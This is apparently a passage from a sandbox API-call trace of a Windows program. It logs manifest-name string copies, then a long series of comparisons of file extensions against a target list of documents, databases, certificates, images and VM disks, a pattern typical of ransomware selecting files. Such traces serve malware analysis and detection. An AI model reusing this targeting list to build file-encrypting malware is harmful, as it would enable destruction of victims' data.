lpString2="amd64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_09cf3ec67e6c6b50_rasservermigplugin-dl.man_babd2d8ep", iMaxLength=123 | out: lpString1="amd64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_09cf3ec67e6c6b50_rasservermigplugin-dl.man_babd2d8e") returned="amd64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_09cf3ec67e6c6b50_rasservermigplugin-dl.man_babd2d8e" [0131.659] lstrcpynW (in: lpString1=0x14b48fc, lpString2="RasServerMigPlugin-DL.man", iMaxLength=26 | out: lpString1="RasServerMigPlugin-DL.man") returned="RasServerMigPlugin-DL.man" [0131.660] lstrcpynW (in: lpString1=0x1433584, lpString2="RasServerOC-DL.manĨ", iMaxLength=19 | out: lpString1="RasServerOC-DL.man") returned="RasServerOC-DL.man" [0131.660] lstrcpynW (in: lpString1=0x1445ffc, lpString2="wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasserveroc-dl.man_78016e78", iMaxLength=116 | out: lpString1="wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasserveroc-dl.man_78016e78") returned="wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasserveroc-dl.man_78016e78" [0131.660] lstrcpynW (in: lpString1=0x144bb04, lpString2="amd64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_09cf3ec67e6c6b50_rasserveroc-dl.man_78016e78", iMaxLength=116 | out: lpString1="amd64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_09cf3ec67e6c6b50_rasserveroc-dl.man_78016e78") returned="amd64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_09cf3ec67e6c6b50_rasserveroc-dl.man_78016e78" [0131.660] lstrcpynW (in: lpString1=0x14b48fc, lpString2="RasServerOC-DL.manĠ", iMaxLength=19 | out: lpString1="RasServerOC-DL.man") returned="RasServerOC-DL.man" [0131.660] lstrcpynW (in: lpString1=0x1445ffc, lpString2="amd64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_09cf3ec67e6c6b50_rasmigplugin.dll_7ee2aa40", iMaxLength=114 | out: lpString1="amd64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_09cf3ec67e6c6b50_rasmigplugin.dll_7ee2aa40") returned="amd64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_09cf3ec67e6c6b50_rasmigplugin.dll_7ee2aa40" [0131.660] lstrcpynW (in: lpString1=0x144bb04, lpString2="amd64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_09cf3ec67e6c6b50_rasmigplugin-mig.dll_e9d0eb3e", iMaxLength=118 | out: lpString1="amd64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_09cf3ec67e6c6b50_rasmigplugin-mig.dll_e9d0eb3e") returned="amd64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_09cf3ec67e6c6b50_rasmigplugin-mig.dll_e9d0eb3e" [0131.661] lstrcpynW (in: lpString1=0x1445ffc, lpString2="amd64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_09cf3ec67e6c6b50_rasmigplugin-dl-mig.dll_c8bd1833", iMaxLength=121 | out: lpString1="amd64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_09cf3ec67e6c6b50_rasmigplugin-dl-mig.dll_c8bd1833") returned="amd64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_09cf3ec67e6c6b50_rasmigplugin-dl-mig.dll_c8bd1833" [0131.661] lstrcpynW (in: lpString1=0x14b48fc, lpString2="RasMigPlugin.dll", iMaxLength=17 | out: lpString1="RasMigPlugin.dll") returned="RasMigPlugin.dll" [0131.661] lstrcpynW (in: lpString1=0x1433584, lpString2="RasMigPlugin-Mig.dll", iMaxLength=21 | out: lpString1="RasMigPlugin-Mig.dll") returned="RasMigPlugin-Mig.dll" [0131.661] lstrcpynW (in: lpString1=0x14b48fc, lpString2="RasMigPlugin-DL-Mig.dll", iMaxLength=24 | out: lpString1="RasMigPlugin-DL-Mig.dll") returned="RasMigPlugin-DL-Mig.dll" [0131.661] lstrcpynW (in: lpString1=0x1433584, lpString2="RasApi-Repl.man", iMaxLength=16 | out: lpString1="RasApi-Repl.man") returned="RasApi-Repl.man" [0131.661] lstrcpynW (in: lpString1=0x144bb04, lpString2="wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasapi-repl.man_824b95f4", iMaxLength=113 | out: lpString1="wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasapi-repl.man_824b95f4") returned="wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasapi-repl.man_824b95f4" [0131.662] lstrcpynW (in: lpString1=0x1445ffc, lpString2="amd64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_09cf3ec67e6c6b50_rasapi-repl.man_824b95f4", iMaxLength=113 | out: lpString1="amd64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_09cf3ec67e6c6b50_rasapi-repl.man_824b95f4") returned="amd64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_09cf3ec67e6c6b50_rasapi-repl.man_824b95f4" [0131.662] lstrcpynW (in: lpString1=0x14b48fc, lpString2="RasApi-Repl.man", iMaxLength=16 | out: lpString1="RasApi-Repl.man") returned="RasApi-Repl.man" [0131.662] lstrcpynW (in: lpString1=0x1433584, lpString2="RasBase-Rassstp-Repl.man", iMaxLength=25 | out: lpString1="RasBase-Rassstp-Repl.man") returned="RasBase-Rassstp-Repl.man" [0131.662] lstrcpynW (in: lpString1=0x144bb04, lpString2="wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasbase-rassstp-repl.man_f9e15598", iMaxLength=122 | out: lpString1="wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasbase-rassstp-repl.man_f9e15598") returned="wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasbase-rassstp-repl.man_f9e15598" [0131.662] lstrcpynW (in: lpString1=0x1445ffc, lpString2="amd64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_09cf3ec67e6c6b50_rasbase-rassstp-repl.man_f9e15598", iMaxLength=122 | out: lpString1="amd64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_09cf3ec67e6c6b50_rasbase-rassstp-repl.man_f9e15598") returned="amd64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_09cf3ec67e6c6b50_rasbase-rassstp-repl.man_f9e15598" [0131.662] lstrcpynW (in: lpString1=0x14b48fc, lpString2="RasBase-Rassstp-Repl.man", iMaxLength=25 | out: lpString1="RasBase-Rassstp-Repl.man") returned="RasBase-Rassstp-Repl.man" [0131.663] lstrcpynW (in: lpString1=0x1433584, lpString2="RasBase-Repl.man", iMaxLength=17 | out: lpString1="RasBase-Repl.man") returned="RasBase-Repl.man" [0131.663] lstrcpynW (in: lpString1=0x144bb04, lpString2="wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasbase-repl.man_aeefd659", iMaxLength=114 | out: lpString1="wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasbase-repl.man_aeefd659") returned="wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasbase-repl.man_aeefd659" [0131.663] lstrcpynW (in: lpString1=0x1445ffc, lpString2="amd64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_09cf3ec67e6c6b50_rasbase-repl.man_aeefd659", iMaxLength=114 | out: lpString1="amd64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_09cf3ec67e6c6b50_rasbase-repl.man_aeefd659") returned="amd64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_09cf3ec67e6c6b50_rasbase-repl.man_aeefd659" [0131.663] lstrcpynW (in: lpString1=0x14b48fc, lpString2="RasBase-Repl.man", iMaxLength=17 | out: lpString1="RasBase-Repl.man") returned="RasBase-Repl.man" [0131.663] lstrcpynW (in: lpString1=0x1433584, lpString2="RasDdm-Repl.man", iMaxLength=16 | out: lpString1="RasDdm-Repl.man") returned="RasDdm-Repl.man" [0131.663] lstrcpynW (in: lpString1=0x144bb04, lpString2="wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasddm-repl.man_f70b2fe7", iMaxLength=113 | out: lpString1="wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasddm-repl.man_f70b2fe7") returned="wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasddm-repl.man_f70b2fe7" [0131.664] lstrcpynW (in: lpString1=0x1445ffc, lpString2="amd64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_09cf3ec67e6c6b50_rasddm-repl.man_f70b2fe7", iMaxLength=113 | out: lpString1="amd64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_09cf3ec67e6c6b50_rasddm-repl.man_f70b2fe7") returned="amd64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_09cf3ec67e6c6b50_rasddm-repl.man_f70b2fe7" [0131.664] lstrcpynW (in: lpString1=0x14b48fc, lpString2="RasDdm-Repl.man", iMaxLength=16 | out: lpString1="RasDdm-Repl.man") returned="RasDdm-Repl.man" [0131.664] lstrcpynW (in: lpString1=0x1433584, lpString2="RasmanService-Repl.manİ", iMaxLength=23 | out: lpString1="RasmanService-Repl.man") returned="RasmanService-Repl.man" [0131.664] lstrcpynW (in: lpString1=0x144bb04, lpString2="wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasmanservice-repl.man_a7b7d1f1", iMaxLength=120 | out: lpString1="wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasmanservice-repl.man_a7b7d1f1") returned="wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasmanservice-repl.man_a7b7d1f1" [0131.664] lstrcpynW (in: lpString1=0x1445ffc, lpString2="amd64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_09cf3ec67e6c6b50_rasmanservice-repl.man_a7b7d1f1", iMaxLength=120 | out: lpString1="amd64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_09cf3ec67e6c6b50_rasmanservice-repl.man_a7b7d1f1") returned="amd64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_09cf3ec67e6c6b50_rasmanservice-repl.man_a7b7d1f1" [0131.781] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0131.781] CoFreeUnusedLibraries () [0131.781] GetTickCount () returned 0x1153582 [0131.781] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0131.781] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0131.781] GetTickCount () returned 0x1153582 [0131.781] IsWindowVisible (hWnd=0x30268) returned 0 [0131.781] Sleep (dwMilliseconds=0x0) [0144.160] VarBstrCmp (bstrLeft="_0da4e682", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.161] VarBstrCmp (bstrLeft="e682", bstrRight=".bas", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.161] VarBstrCmp (bstrLeft="682", bstrRight=".py", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.161] VarBstrCmp (bstrLeft="e682", bstrRight=".pyc", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.161] VarBstrCmp (bstrLeft="e682", bstrRight=".pdf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.161] VarBstrCmp (bstrLeft="e682", bstrRight=".ost", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.161] VarBstrCmp (bstrLeft="4e682", bstrRight=".mail", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.161] VarBstrCmp (bstrLeft="e682", bstrRight=".bak", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.161] VarBstrCmp (bstrLeft="e682", bstrRight=".cfg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.161] VarBstrCmp (bstrLeft="e682", bstrRight=".sql", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.162] VarBstrCmp (bstrLeft="e682", bstrRight=".log", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.162] VarBstrCmp (bstrLeft="e682", bstrRight=".doc", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.162] VarBstrCmp (bstrLeft="e682", bstrRight=".xml", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.162] VarBstrCmp (bstrLeft="4e682", bstrRight=".proj", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.162] VarBstrCmp (bstrLeft="e682", bstrRight=".dot", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.162] VarBstrCmp (bstrLeft="4e682", bstrRight=".docx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.162] VarBstrCmp (bstrLeft="4e682", bstrRight=".docm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.162] VarBstrCmp (bstrLeft="4e682", bstrRight=".dotx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.162] VarBstrCmp (bstrLeft="4e682", bstrRight=".dotm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.163] VarBstrCmp (bstrLeft="4e682", bstrRight=".docb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.163] VarBstrCmp (bstrLeft="e682", bstrRight=".xls", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.163] VarBstrCmp (bstrLeft="e682", bstrRight=".xlt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.163] VarBstrCmp (bstrLeft="e682", bstrRight=".xlm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.163] VarBstrCmp (bstrLeft="4e682", bstrRight=".xlsx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.163] VarBstrCmp (bstrLeft="4e682", bstrRight=".xlsm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.163] VarBstrCmp (bstrLeft="4e682", bstrRight=".xltx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.163] VarBstrCmp (bstrLeft="4e682", bstrRight=".xltm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.163] VarBstrCmp (bstrLeft="4e682", bstrRight=".xlsb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.163] VarBstrCmp (bstrLeft="e682", bstrRight=".xla", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.164] VarBstrCmp (bstrLeft="4e682", bstrRight=".xlam", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.164] VarBstrCmp (bstrLeft="e682", bstrRight=".xll", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.164] VarBstrCmp (bstrLeft="e682", bstrRight=".xlw", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.164] VarBstrCmp (bstrLeft="e682", bstrRight=".ppt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.164] VarBstrCmp (bstrLeft="e682", bstrRight=".pot", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.164] VarBstrCmp (bstrLeft="e682", bstrRight=".pps", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.164] VarBstrCmp (bstrLeft="4e682", bstrRight=".pptx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.164] VarBstrCmp (bstrLeft="4e682", bstrRight=".pptm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.164] VarBstrCmp (bstrLeft="4e682", bstrRight=".potx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.165] VarBstrCmp (bstrLeft="4e682", bstrRight=".potm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.165] VarBstrCmp (bstrLeft="4e682", bstrRight=".ppam", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.165] VarBstrCmp (bstrLeft="4e682", bstrRight=".ppsx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.165] VarBstrCmp (bstrLeft="4e682", bstrRight=".ppsm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.165] VarBstrCmp (bstrLeft="4e682", bstrRight=".sldx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.165] VarBstrCmp (bstrLeft="4e682", bstrRight=".sldm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.165] VarBstrCmp (bstrLeft="a4e682", bstrRight=".ACCDB", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.165] VarBstrCmp (bstrLeft="0da4e682", bstrRight=".SQLITE3", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.165] VarBstrCmp (bstrLeft="a4e682", bstrRight=".ACCDR", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.165] VarBstrCmp (bstrLeft="e682", bstrRight=".txt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.166] VarBstrCmp (bstrLeft="e682", bstrRight=".ned", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.166] VarBstrCmp (bstrLeft="e682", bstrRight=".ntm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.166] VarBstrCmp (bstrLeft="e682", bstrRight=".flt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.166] VarBstrCmp (bstrLeft="e682", bstrRight=".nrp", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.166] VarBstrCmp (bstrLeft="682", bstrRight=".db", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.166] VarBstrCmp (bstrLeft="e682", bstrRight=".3fr", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.166] VarBstrCmp (bstrLeft="682", bstrRight=".ai", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.166] VarBstrCmp (bstrLeft="e682", bstrRight=".arw", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.166] VarBstrCmp (bstrLeft="e682", bstrRight=".bay", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.166] VarBstrCmp (bstrLeft="e682", bstrRight=".cdr", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.167] VarBstrCmp (bstrLeft="e682", bstrRight=".cer", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.167] VarBstrCmp (bstrLeft="e682", bstrRight=".cr2", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.167] VarBstrCmp (bstrLeft="e682", bstrRight=".crt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.167] VarBstrCmp (bstrLeft="e682", bstrRight=".crw", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.167] VarBstrCmp (bstrLeft="e682", bstrRight=".dbf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.167] VarBstrCmp (bstrLeft="e682", bstrRight=".dcr", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.167] VarBstrCmp (bstrLeft="e682", bstrRight=".der", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.167] VarBstrCmp (bstrLeft="e682", bstrRight=".dng", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.167] VarBstrCmp (bstrLeft="e682", bstrRight=".dwg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.167] VarBstrCmp (bstrLeft="e682", bstrRight=".dxf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.167] VarBstrCmp (bstrLeft="e682", bstrRight=".dxg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.168] VarBstrCmp (bstrLeft="e682", bstrRight=".eps", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.168] VarBstrCmp (bstrLeft="4e682", bstrRight=".java", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.168] VarBstrCmp (bstrLeft="4e682", bstrRight=".jpeg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.168] VarBstrCmp (bstrLeft="e682", bstrRight=".jpg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.168] VarBstrCmp (bstrLeft="_0da4e682", bstrRight=".SQLITEDB", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.168] VarBstrCmp (bstrLeft="e682", bstrRight=".mdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.168] VarBstrCmp (bstrLeft="e682", bstrRight=".mdf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.168] VarBstrCmp (bstrLeft="e682", bstrRight=".mef", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.168] VarBstrCmp (bstrLeft="e682", bstrRight=".mrw", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.169] VarBstrCmp (bstrLeft="e682", bstrRight=".nef", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.169] VarBstrCmp (bstrLeft="e682", bstrRight=".png", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.169] VarBstrCmp (bstrLeft="e682", bstrRight=".odb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.169] VarBstrCmp (bstrLeft="e682", bstrRight=".odm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.169] VarBstrCmp (bstrLeft="e682", bstrRight=".odp", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.169] VarBstrCmp (bstrLeft="e682", bstrRight=".ods", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.169] VarBstrCmp (bstrLeft="4e682", bstrRight=".aspx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.169] VarBstrCmp (bstrLeft="e682", bstrRight=".asp", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.169] VarBstrCmp (bstrLeft="e682", bstrRight=".odt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.169] VarBstrCmp (bstrLeft="e682", bstrRight=".css", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.170] VarBstrCmp (bstrLeft="e682", bstrRight=".p12", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.170] VarBstrCmp (bstrLeft="e682", bstrRight=".edb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.170] VarBstrCmp (bstrLeft="da4e682", bstrRight=".config", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.170] VarBstrCmp (bstrLeft="e682", bstrRight=".php", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.170] VarBstrCmp (bstrLeft="e682", bstrRight=".htm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.170] VarBstrCmp (bstrLeft="4e682", bstrRight=".html", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.170] VarBstrCmp (bstrLeft="e682", bstrRight=".p7c", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.170] VarBstrCmp (bstrLeft="a4e682", bstrRight=".class", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.170] VarBstrCmp (bstrLeft="e682", bstrRight=".pef", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.170] VarBstrCmp (bstrLeft="e682", bstrRight=".pem", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.170] VarBstrCmp (bstrLeft="e682", bstrRight=".pfx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.170] VarBstrCmp (bstrLeft="e682", bstrRight=".psd", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.171] VarBstrCmp (bstrLeft="e682", bstrRight=".pst", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.171] VarBstrCmp (bstrLeft="e682", bstrRight=".r3d", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.171] VarBstrCmp (bstrLeft="e682", bstrRight=".raw", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.171] VarBstrCmp (bstrLeft="e682", bstrRight=".rw2", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.171] VarBstrCmp (bstrLeft="e682", bstrRight=".rar", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.171] VarBstrCmp (bstrLeft="682", bstrRight=".cs", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.171] VarBstrCmp (bstrLeft="682", bstrRight=".vb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.171] VarBstrCmp (bstrLeft="e682", bstrRight=".cpp", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.171] VarBstrCmp (bstrLeft="e682", bstrRight=".wpd", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.171] VarBstrCmp (bstrLeft="e682", bstrRight=".wps", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.171] VarBstrCmp (bstrLeft="e682", bstrRight=".xlk", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.171] VarBstrCmp (bstrLeft="e682", bstrRight=".vmx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.172] VarBstrCmp (bstrLeft="e682", bstrRight=".ovf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.172] VarBstrCmp (bstrLeft="4e682", bstrRight=".conf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.172] VarBstrCmp (bstrLeft="e682", bstrRight=".sln", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.172] VarBstrCmp (bstrLeft="e682", bstrRight=".rtf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.172] VarBstrCmp (bstrLeft="4e682", bstrRight=".vmdk", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.172] VarBstrCmp (bstrLeft="e682", bstrRight=".zip", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.172] VarBstrCmp (bstrLeft="2.dll.mui", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.172] VarBstrCmp (bstrLeft=".mui", bstrRight=".bas", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.172] VarBstrCmp (bstrLeft="mui", bstrRight=".py", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.173] VarBstrCmp (bstrLeft=".mui", bstrRight=".pyc", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.173] VarBstrCmp (bstrLeft=".mui", bstrRight=".pdf", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.173] VarBstrCmp (bstrLeft=".mui", bstrRight=".ost", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.173] VarBstrCmp (bstrLeft="l.mui", bstrRight=".mail", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.173] VarBstrCmp (bstrLeft=".mui", bstrRight=".bak", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.173] VarBstrCmp (bstrLeft=".mui", bstrRight=".cfg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.173] VarBstrCmp (bstrLeft=".mui", bstrRight=".sql", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.173] VarBstrCmp (bstrLeft=".mui", bstrRight=".log", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.173] VarBstrCmp (bstrLeft=".mui", bstrRight=".doc", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.174] VarBstrCmp (bstrLeft=".mui", bstrRight=".xml", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.174] VarBstrCmp (bstrLeft="l.mui", bstrRight=".proj", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.174] VarBstrCmp (bstrLeft=".mui", bstrRight=".dot", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.174] VarBstrCmp (bstrLeft="l.mui", bstrRight=".docx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.174] VarBstrCmp (bstrLeft="l.mui", bstrRight=".docm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.174] VarBstrCmp (bstrLeft="l.mui", bstrRight=".dotx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.174] VarBstrCmp (bstrLeft="l.mui", bstrRight=".dotm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.174] VarBstrCmp (bstrLeft="l.mui", bstrRight=".docb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.174] VarBstrCmp (bstrLeft=".mui", bstrRight=".xls", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.174] VarBstrCmp (bstrLeft=".mui", bstrRight=".xlt", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.175] VarBstrCmp (bstrLeft=".mui", bstrRight=".xlm", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.175] VarBstrCmp (bstrLeft="l.mui", bstrRight=".xlsx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.175] VarBstrCmp (bstrLeft="l.mui", bstrRight=".xlsm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.175] VarBstrCmp (bstrLeft="l.mui", bstrRight=".xltx", lcid=0x1, 